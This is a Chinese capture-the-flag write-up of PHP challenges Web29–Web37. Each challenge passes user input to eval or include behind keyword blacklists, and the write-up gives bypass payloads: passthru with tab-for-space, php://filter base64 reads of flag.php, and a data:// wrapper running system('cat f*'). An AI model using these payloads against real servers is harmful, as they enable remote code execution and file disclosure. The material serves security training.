目录
Web29
Web30
Web31
Web32
Web33
Web34
Web35
Web36
Web37
文件包含:PHP伪协议
Web29
<?php
?
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: ? 2020-09-04 00:12:34
# @Last Modified by: ? h1xa
# @Last Modified time: 2020-09-04 00:26:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
?
*/
?
error_reporting(0);
if(isset($_GET['c'])){
? ?$c = $_GET['c'];
? ?if(!preg_match("/flag/i", $c)){
? ? ? ?eval($c);
? }
? ?
}else{
? ?highlight_file(__FILE__);
}
可以看到,flag已经被过滤掉,先查看目录
我们可以使用通配符绕过flag的过滤
Web30
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: ? 2020-09-04 00:12:34
# @Last Modified by: ? h1xa
# @Last Modified time: 2020-09-04 00:42:26
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
?
error_reporting(0);
if(isset($_GET['c'])){
? ?$c = $_GET['c'];
? ?if(!preg_match("/flag|system|php/i", $c)){
? ? ? ?eval($c);
? } ?
}else{
? ?highlight_file(__FILE__);
}
这次除了flag同时还过滤了system函数和php
虽然system函数被过滤,但是在php中有三个专门执行外部命令的函数system(),exec(),passthru(),换一个函数进行查看目录,使用通配符即可
Web31
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: ? 2020-09-04 00:12:34
# @Last Modified by: ? h1xa
# @Last Modified time: 2020-09-04 00:49:10
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
? ?$c = $_GET['c'];
? ?if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
? ? ? ?eval($c);
? }
}else{
? ?highlight_file(__FILE__);
}
查看源码,被禁用掉的关键词有flag,system,php,cat,sort,shell,点号、空格、单引号
发现之前所使用的passthru()函数并不影响。所以使用passthru()函数进行尝试,发现可以使用
?c=passthru("ls");
?c=passthru("nl%20`ls`");//不可行原因是因为%20经过url解码之后的结果是空格,而空格已经被过滤掉了
?c=passthru("nl%09`ls`");//解决方法就是将空格用其他组字符替换掉
Web32
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:56:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
可以看到flag,system,php,cat,sort,shell,点号、空格、单引号,echo,分号,左括号都被过滤掉了
经过查找资料我发现在php中存在一个独有的一个协议php://filter,可以作为一个中间流来处理其他流,可以进行任意文件的读取;根据名字filter(过滤器),可以很容易想到这个协议可以用来过滤一些东西。通过查找,这个函数可以使用多个参数达到不同的目的
名称 | 描述 | 备注 |
---|
resource=<要过滤的数据流> | 指定了你要筛选过滤的数据流。 | 必选 | read=<读链的筛选列表> | 可以设定一个或多个过滤器名称,以管道符()分隔。 | 可选 | write=<写链的筛选列表> | 可以设定一个或多个过滤器名称,以管道符()分隔。 | 可选 | <;两个链的筛选列表> | 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。 | |
同时read和write还可以对代码进行加密和解密操作
?c=include$_GET["url"]?>&url=php://filter/read=convert.base64-encode/resource=flag.php
先使用?>闭合代码,然后使用php://filter协议将目标文件进行base64编码,之后直接读取目标文件 将得到的密码进行base64解码即可得到正确答案
Web33
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 02:22:27
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
双引号也被过滤掉了
我们将上一题的变量名改为其他类型不使用双引号即可
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
之后再进行base64解码即可
Web34
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 04:21:29
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
冒号也被过滤了,由于上一题payload中只有php://filter协议里出现过冒号,所以不影响使用
Web35
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 04:21:23
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤新增了尖括号,继续使用php://filter协议同上
Web36
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 04:21:16
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
等号与数字被过滤,我们将原来的数字再替换成字符即可
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
Web37
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 05:18:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
查看代码发现过滤了flag,还使用了include文件包含
文件包含:PHP伪协议
实际上这几道题考查的属于文件包含的范畴,是考察PHP伪协议
PHP伪协议就是PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。
data:// 同样类似与php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。从而导致任意代码执行。 ———————————————— 可以参考CSDN博主「LetheSec」的文章:https://blog.csdn.net/qq_42181428/article/details/87090539
所以本题可以使用data://协议
?c=data://text/plain,<?php system("cat f*");
|